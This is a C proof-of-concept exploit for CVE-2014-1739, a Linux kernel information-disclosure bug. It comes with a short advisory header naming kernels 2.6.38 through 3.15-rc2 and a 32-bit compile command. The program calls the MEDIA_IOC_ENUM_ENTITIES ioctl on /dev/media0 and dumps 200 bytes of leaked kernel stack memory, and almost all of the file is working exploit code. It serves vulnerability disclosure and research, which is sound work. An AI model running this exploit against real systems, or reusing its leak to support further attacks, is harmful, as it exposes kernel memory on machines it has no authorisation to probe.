/*
source: https://www.securityfocus.com/bid/68048/info
The Linux kernel is prone to a local information-disclosure vulnerability.
Local attackers can exploit this issue to cause a memory leak to obtain sensitive information that may lead to further attacks.
Linux kernel 2.6.38 through 3.15-rc2 are vulnerable.
*/
/*
* $File: media-enum-poc.c
* $Description: CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking 200 kstack bytes on x86_32.
* $Author: Salva Peiró <speirofr@gmail.com> (c) Copyright 2014.
* $URL: http://speirofr.appspot.com/files/media-enum-poc.c
* $License: GPLv2.
*/
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <linux/media.h>
#define MEDIA_DEV "/dev/media0"
int main(int argc, char *argv[])
{
struct media_entity_desc u_ent = {};
char *file = MEDIA_DEV;
int i, fd, ret;
if (argc > 1)
file = argv[1];
fd = open(file, O_RDONLY);
if (fd < 0){
perror("open " MEDIA_DEV);
return -1;
}
u_ent.id = 0 | MEDIA_ENT_ID_FLAG_NEXT;
ret=ioctl(fd, MEDIA_IOC_ENUM_ENTITIES, &u_ent);
if (ret < 0){
perror("ioctl " MEDIA_DEV);
return -1;
}
printf("[*] CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking %d kstack bytes:", sizeof(u_ent.reserved) + sizeof(u_ent.raw));
for (i = 0; i < 200/sizeof(uint32_t); i++) {
uint32_t data = *(uint32_t*)((uint32_t*)&u_ent.reserved+i);
if (i % 4 == 0)
printf("\n %08d: ", i);
printf("0x%08x ", data);
}
printf("\n");
return ret;
}
/*
gcc -Wall -g -m32 media-enum-poc.c -o media-enum-poc # */
